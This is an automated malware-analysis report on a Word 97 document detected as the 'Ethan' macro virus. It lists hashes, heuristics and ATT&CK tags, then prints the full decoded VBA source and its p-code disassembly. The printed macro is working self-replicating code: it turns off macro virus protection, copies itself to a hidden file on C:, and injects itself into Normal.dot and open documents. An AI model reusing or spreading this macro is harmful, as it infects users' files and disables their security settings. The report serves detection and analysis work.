Office (OLE) malware analysis — malicious · b430ec3c86ac21e9

MALICIOUS

Office (OLE)

81.5 KB Created: 2003-02-25 09:32:00 Authoring application: Microsoft Word 8.0 First seen: 2015-05-10

MD5: d28b9b454a73d5a3cffc9635646d6154 SHA-1: 68f5cb3b49c1165f50a2c479907df8cf037c202e SHA-256: b430ec3c86ac21e9cb4d7d27665a3632331a4301e601d3419a453f0a82605bf3

200 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The VBA macro code within this document is designed to replicate itself to the Normal.dot template and potentially the active document, as indicated by the 'OLE_VBA_MACRO_VIRUS_REPLICATION' heuristic. It also attempts to disable macro security warnings and writes its code to 'c:\ethan.___', suggesting an intent to establish persistence or spread. The ClamAV detections further support its malicious nature.

Heuristics 3

ClamAV: Doc.Trojan.Ethan-20 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Trojan.Ethan-20
VBA macros detected medium 1 related finding OLE_VBA_MACROS

Document contains VBA macro code
VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION

VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
Matched line in script
```
t.CodeModule.InsertLines i, a
```

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	6213 bytes
SHA-256: `889bb9ce0bc3d262128e6655638693132e8439237e358db5f2f7ed1e7e81aea5`
Detection ClamAV: Doc.Trojan.Ethan-1 Obfuscation or payload: unlikely
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Private Sub Document_Close() On Error Resume Next s = ActiveDocument.Saved Application.EnableCancelKey = Not -1 With Options: .ConfirmConversions = 0: .VirusProtection = 0: .SaveNormalPrompt = 0: End With Randomize If Dir("c:\ethan.___", 6) = "" Then Open "c:\ethan.___" For Output As #1 For i = 1 To MacroContainer.VBProject.VBComponents.Item(1).CodeModule.CountOfLines a = MacroContainer.VBProject.VBComponents.Item(1).CodeModule.Lines(i, 1) Print #1, a Next i Close #1 SetAttr "c:\ethan.___", 6 End If If Dir("c:\class.sys") <> "" Then Kill "c:\class.sys" If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(1, 1) <> "Private Sub Document_Close()" Then Set t = NormalTemplate.VBProject.VBComponents.Item(1) ElseIf ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(1, 1) <> "Private Sub Document_Close()" Then Set t = ActiveDocument.VBProject.VBComponents.Item(1) Else t = "" End If If t <> "" Then Open "c:\ethan.___" For Input As #1 If LOF(1) = 0 Then GoTo q i = 1 Do While Not EOF(1) Line Input #1, a t.CodeModule.InsertLines i, a i = i + 1 Loop q: Close #1 If Rnd < 0.3 Then With Dialogs(wdDialogFileSummaryInfo): .Title = "Ethan Frome": .Author = "EW/LN/CB": .Keywords = "Ethan": .Execute: End With If Left(ActiveDocument.Name, 8) <> "Document" Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName End If If ActiveDocument.Saved <> s Then ActiveDocument.Saved = s End Sub ' Processing file: /opt/analyzer/scan_staging/392b9d0e8aeb4da8b508d1804c348b1c.bin ' =============================================================================== ' Module streams: ' Macros/VBA/ThisDocument - 3301 bytes ' Line #0: ' FuncDefn (Private Sub Document_Close()) ' Line #1: ' OnError (Resume Next) ' Line #2: ' Ld ActiveDocument ' MemLd Saved ' St s ' Line #3: ' LitDI2 0x0001 ' UMi ' Not ' Ld Application ' MemSt EnableCancelKey ' Line #4: ' StartWithExpr ' Ld Options ' With ' BoS 0x0000 ' LitDI2 0x0000 ' MemStWith ConfirmConversions ' BoS 0x0000 ' LitDI2 0x0000 ' MemStWith VirusProtection ' BoS 0x0000 ' LitDI2 0x0000 ' MemStWith SaveNormalPrompt ' BoS 0x0000 ' EndWith ' Line #5: ' ArgsCall Read 0x0000 ' Line #6: ' LitStr 0x000C "c:\ethan.___" ' LitDI2 0x0006 ' ArgsLd Dir 0x0002 ' LitStr 0x0000 "" ' Eq ' IfBlock ' Line #7: ' LitStr 0x000C "c:\ethan.___" ' LitDI2 0x0001 ' Sharp ' LitDefault ' Open (For Output) ' Line #8: ' StartForVariable ' Ld i ' EndForVariable ' LitDI2 0x0001 ' LitDI2 0x0001 ' Ld MacroContainer ' MemLd VBProject ' MemLd VBComponents ' ArgsMemLd Item 0x0001 ' MemLd CodeModule ' MemLd CountOfLines ' For ' Line #9: ' Ld i ' LitDI2 0x0001 ' LitDI2 0x0001 ' Ld MacroContainer ' MemLd VBProject ' MemLd VBComponents ' ArgsMemLd Item 0x0001 ' MemLd CodeModule ' ArgsMemLd Lines 0x0002 ' St a ' Line #10: ' LitDI2 0x0001 ' Sharp ' PrintChan ' Ld a ' PrintItemNL ' Line #11: ' StartForVariable ' Ld i ' EndForVariable ' NextVar ' Line #12: ' LitDI2 0x0001 ' Sharp ' Close 0x0001 ' Line #13: ' LitStr 0x000C "c:\ethan.___" ' LitDI2 0x0006 ' ArgsCall SetAttr 0x0002 ' Line #14: ' EndIfBlock ' Line #15: ' LitStr 0x000C "c:\class.sys" ' ArgsLd Dir 0x0001 ' LitStr 0x0000 "" ' Ne ' If ' BoSImplicit ' LitStr 0x000C "c:\class.sys" ' ArgsCall Kill 0x0001 ' EndIf ' Line #16: ' LitDI2 0x0001 ' LitDI2 0x0001 ' LitDI2 0x0001 ' Ld NormalTemplate ' MemLd VBProject ' MemLd VBComponents ' ArgsMemLd Item 0x0001 ' MemLd CodeModule ' ArgsMemLd Lines 0x0002 ' LitStr 0x001C "Private Sub Document_Close()" ' Ne ' IfBlock ' Line #17: ' SetStmt ' LitDI2 0x0001 ' Ld NormalTemplate ' MemLd VBProject ' MemLd VBComponents ' ArgsMemLd Item 0x0001 ' Set t ' Line #18: ' LitDI2 0x0001 ' LitDI2 0x0001 ' LitDI2 0x0001 ' Ld ActiveDocument ' MemLd VBProject ' MemLd VBComponents ' ArgsMemLd Item 0x0001 ' MemLd CodeModule ' ArgsMemLd Lines 0x0002 ' LitStr 0x001C "Private Sub Document_Close()" ' Ne ' ElseIfBlock ' Line #19: ' SetStmt ' LitDI2 0x0001 ' Ld ActiveDocument ' MemLd VBProject ' MemLd VBComponents ' ArgsMemLd Item 0x0001 ' Set t ' Line #20: ' ElseBlock ' Line #21: ' LitStr 0x0000 "" ' St t ' Line #22: ' EndIfBlock ' Line #23: ' Ld t ' LitStr 0x0000 "" ' Ne ' IfBlock ' Line #24: ' LitStr 0x000C "c:\ethan.___" ' LitDI2 0x0001 ' Sharp ' LitDefault ' Open (For Input) ' Line #25: ' LitDI2 0x0001 ' ArgsLd LOF 0x0001 ' LitDI2 0x0000 ' Eq ' If ' BoSImplicit ' GoTo q ' EndIf ' Line #26: ' LitDI2 0x0001 ' St i ' Line #27: ' LitDI2 0x0001 ' ArgsLd EOF 0x0001 ' Not ' DoWhile ' Line #28: ' LitDI2 0x0001 ' Ld a ' LineInput ' Line #29: ' Ld i ' Ld a ' Ld t ' MemLd CodeModule ' ArgsMemCall InsertLines 0x0002 ' Line #30: ' Ld i ' LitDI2 0x0001 ' Add ' St i ' Line #31: ' Loop ' Line #32: ' Label q ' Line #33: ' LitDI2 0x0001 ' Sharp ' Close 0x0001 ' Line #34: ' Ld Rnd ' LitR8 0x3333 0x3333 0x3333 0x3FD3 ' Lt ' If ' BoSImplicit ' StartWithExpr ' Ld wdDialogFileSummaryInfo ' ArgsLd Dialogs 0x0001 ' With ' BoS 0x0000 ' LitStr 0x000B "Ethan Frome" ' MemStWith Title ' BoS 0x0000 ' LitStr 0x0008 "EW/LN/CB" ' MemStWith Author ' BoS 0x0000 ' LitStr 0x0005 "Ethan" ' MemStWith Keywords ' BoS 0x0000 ' ArgsMemCallWith Execute 0x0000 ' BoS 0x0000 ' EndWith ' EndIf ' Line #35: ' Ld ActiveDocument ' MemLd New ' LitDI2 0x0008 ' ArgsLd LBound 0x0002 ' LitStr 0x0008 "Document" ' Ne ' If ' BoSImplicit ' Ld ActiveDocument ' MemLd FullName ' ParamNamed FileName ' Ld ActiveDocument ' ArgsMemCall SaveAs 0x0001 ' EndIf ' Line #36: ' EndIfBlock ' Line #37: ' Ld ActiveDocument ' MemLd Saved ' Ld s ' Ne ' If ' BoSImplicit ' Ld s ' Ld ActiveDocument ' MemSt Saved ' EndIf ' Line #38: ' EndSub

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